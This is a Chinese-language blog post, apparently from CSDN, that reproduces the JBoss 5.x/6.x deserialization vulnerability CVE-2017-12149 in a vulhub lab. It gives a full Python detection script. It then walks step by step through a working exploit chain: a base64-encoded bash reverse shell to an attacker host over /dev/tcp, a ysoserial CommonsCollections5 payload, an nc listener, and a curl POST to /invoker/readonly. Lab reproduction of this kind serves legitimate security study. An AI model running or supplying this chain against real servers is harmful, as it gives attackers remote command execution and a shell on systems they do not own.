JBoss 5.x/6.x 反序列化漏洞复现

0x01 漏洞简介

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

影响版本:

  • JBoss 5.x
  • JBoss 6.x

0x02 漏洞环境

使用vulhub漏洞平台,执行下面命令启动漏洞环境:

cd /vulhub/jboss/CVE-2017-12149
sudo docker-compose up -d

首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

0x03 漏洞复现

1. 漏洞检测POC

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化。

使用POC脚本进行漏洞检测

python cve-2017-12149_poc.py http://192.168.126.130:8080/

POC脚本源码如下:

##!/usr/bin/python
#-*- coding:utf-8 -*-
import requests
import sys

if len(sys.argv)!=2:
    print('+---------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub          +')
    print('+---------------------------------------------------------------+')
    print('+ USE: python <filename> <url>                                  +')
    print('+ EXP: python cve-2017-12149_poc.py http://freeerror.org:8080   +')
    print('+ VER: Jboss AS 5.X                                             +')
    print('+      Jboss AS 6.X                                             +')
    print('+---------------------------------------------------------------+')
    sys.exit()
url = sys.argv[1]

vulurl = url+"/invoker/readonly"

headers = {
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0",
'Accept': "*/*",
'Content-Type': "application/json",
'X-Requested-With': "XMLHttpRequest",
'Connection': "close",
'Cache-Control': "no-cache"
}


try:
    r =requests.post(vulurl, headers=headers, verify=False)
    e=r.status_code
except:
    print ("[-] Target "+url+" Not CVE-2017-12149 Good Luck")
    sys.exit()
if e == 500:
    print ("[+] Target "+url+" Find CVE-2017-12149  EXP:https://github.com/zhzyker/exphub")
else: 
    print ("[-] Target "+url+" Not CVE-2017-12149 Good Luck")
    exit()
2. 编写反弹shell
# 1. 设置好要接收shell的主机ip和端口号:
bash -i >& /dev/tcp/192.168.126.128/7777 0>&1

# 2. 将第一步中的代码进行Base64加密:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx

# 3. 将第二步中的代码添加到如下位置:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

# 4. 使用ysoserial生成序列化数据,并重定向到exp.ser文件
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" > exp.ser


Tips1:ysoserical用法:java -jar ysoserial.jar [payload][command]”
Tips2:由于目标jdk版本过高,因此这里使用的利用库为CommonsCollections5(具体根据对方jdk版本选择)
Tips3:我们使用bash反弹shell,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码再使用
3. 获取目标shell

在接收shell的攻击主机上开启端口监听

nc -lvp 7777

通过二进制POST方式发送攻击载荷exp.ser/invoker/readonly

curl http://192.168.126.130:8080/invoker/readonly --data-binary @exp.ser

成功接收到反弹的shell:

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Luckysec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值